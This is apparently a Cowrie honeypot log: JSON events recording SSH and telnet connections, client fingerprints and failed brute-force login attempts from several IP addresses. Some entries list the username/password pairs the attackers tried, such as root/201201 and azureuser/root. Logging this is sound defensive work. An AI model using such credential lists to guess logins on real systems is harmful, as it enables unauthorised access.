{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:04:40.754932Z","src_ip":"117.121.214.50","session":"53550cca3d34","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:04:40.994692Z","src_ip":"117.121.214.50","session":"53550cca3d34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.4","message":"Connection lost after 4.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:04:41.643001Z","src_ip":"91.92.42.133","session":"68fe0234e765","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"201201","message":"login attempt [root/201201] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:04:41.988737Z","src_ip":"117.121.214.50","session":"53550cca3d34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:04:43.232020Z","src_ip":"117.121.214.50","session":"53550cca3d34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":33280,"dst_ip":"159.203.135.109","dst_port":22,"session":"5b07382b1c03","protocol":"ssh","message":"New connection: 91.92.42.133:33280 (159.203.135.109:22) [session: 5b07382b1c03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:04:43.600327Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:04:44.441492Z","src_ip":"91.92.42.133","session":"5b07382b1c03","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:04:44.444891Z","src_ip":"91.92.42.133","session":"5b07382b1c03","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"runner","password":"123","message":"login attempt [runner/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:04:48.499095Z","src_ip":"91.92.42.133","session":"5b07382b1c03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.6","message":"Connection lost after 6.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:04:50.180125Z","src_ip":"91.92.42.133","session":"5b07382b1c03","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":45814,"dst_ip":"159.203.135.109","dst_port":22,"session":"76197692d0b6","protocol":"ssh","message":"New connection: 91.92.42.133:45814 (159.203.135.109:22) [session: 76197692d0b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:04:51.995049Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:04:52.510378Z","src_ip":"91.92.42.133","session":"76197692d0b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:04:52.513399Z","src_ip":"91.92.42.133","session":"76197692d0b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aaa","password":"123456","message":"login attempt [aaa/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:04:54.181729Z","src_ip":"91.92.42.133","session":"76197692d0b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:04:55.475905Z","src_ip":"91.92.42.133","session":"76197692d0b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":60702,"dst_ip":"10.17.0.5","dst_port":22,"session":"a1614e1e33fc","protocol":"ssh","message":"New connection: 103.15.222.183:60702 (10.17.0.5:22) [session: a1614e1e33fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:04:56.933036Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:04:56.936909Z","src_ip":"103.15.222.183","session":"a1614e1e33fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:04:57.191860Z","src_ip":"103.15.222.183","session":"a1614e1e33fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zverev","message":"login attempt [root/zverev] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:04:57.960109Z","src_ip":"103.15.222.183","session":"a1614e1e33fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":58958,"dst_ip":"10.17.0.5","dst_port":22,"session":"024eab59eb43","protocol":"ssh","message":"New connection: 103.176.20.57:58958 (10.17.0.5:22) [session: 024eab59eb43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:04:58.518505Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:04:58.522467Z","src_ip":"103.176.20.57","session":"024eab59eb43","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:04:58.774270Z","src_ip":"103.176.20.57","session":"024eab59eb43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:04:59.218204Z","src_ip":"103.15.222.183","session":"a1614e1e33fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"austin1","message":"login attempt [root/austin1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:04:59.529977Z","src_ip":"103.176.20.57","session":"024eab59eb43","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":43326,"dst_ip":"159.203.135.109","dst_port":22,"session":"07cac6d462b9","protocol":"ssh","message":"New connection: 91.92.42.133:43326 (159.203.135.109:22) [session: 07cac6d462b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:04:59.677657Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:05:00.216261Z","src_ip":"91.92.42.133","session":"07cac6d462b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:05:00.219440Z","src_ip":"91.92.42.133","session":"07cac6d462b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:05:00.783943Z","src_ip":"103.176.20.57","session":"024eab59eb43","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"coder","password":"123456","message":"login attempt [coder/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:05:02.707015Z","src_ip":"91.92.42.133","session":"07cac6d462b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.3","message":"Connection lost after 4.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:05:03.945585Z","src_ip":"91.92.42.133","session":"07cac6d462b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":46250,"dst_ip":"159.203.135.109","dst_port":22,"session":"fb3b4f5bfeb6","protocol":"ssh","message":"New connection: 91.92.42.133:46250 (159.203.135.109:22) [session: fb3b4f5bfeb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:05:09.068175Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:05:09.252471Z","src_ip":"91.92.42.133","session":"fb3b4f5bfeb6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:05:09.256133Z","src_ip":"91.92.42.133","session":"fb3b4f5bfeb6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":52156,"dst_ip":"10.17.0.5","dst_port":22,"session":"ef9545491a55","protocol":"ssh","message":"New connection: 45.148.10.121:52156 (10.17.0.5:22) [session: ef9545491a55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:05:09.764318Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:05:09.769078Z","src_ip":"45.148.10.121","session":"ef9545491a55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"potok","password":"potok","message":"login attempt [potok/potok] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:05:09.804995Z","src_ip":"91.92.42.133","session":"fb3b4f5bfeb6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:05:10.606123Z","src_ip":"45.148.10.121","session":"ef9545491a55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:05:10.960587Z","src_ip":"91.92.42.133","session":"fb3b4f5bfeb6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":49066,"dst_ip":"159.203.135.109","dst_port":23,"session":"b4ffe01edb0e","protocol":"telnet","message":"New connection: 128.199.8.54:49066 (159.203.135.109:23) [session: b4ffe01edb0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:05:14.893388Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":57322,"dst_ip":"159.203.135.109","dst_port":22,"session":"ba5b4098bda6","protocol":"ssh","message":"New connection: 91.92.42.133:57322 (159.203.135.109:22) [session: ba5b4098bda6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:05:16.399535Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:05:16.673615Z","src_ip":"91.92.42.133","session":"ba5b4098bda6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:05:16.676528Z","src_ip":"91.92.42.133","session":"ba5b4098bda6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"azureuser","password":"root","message":"login attempt [azureuser/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:05:18.291758Z","src_ip":"91.92.42.133","session":"ba5b4098bda6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:05:19.641333Z","src_ip":"91.92.42.133","session":"ba5b4098bda6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":57402,"dst_ip":"159.203.135.109","dst_port":22,"session":"7ddcb1806adc","protocol":"ssh","message":"New connection: 91.92.42.133:57402 (159.203.135.109:22) [session: 7ddcb1806adc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T01:05:24.404616Z"}
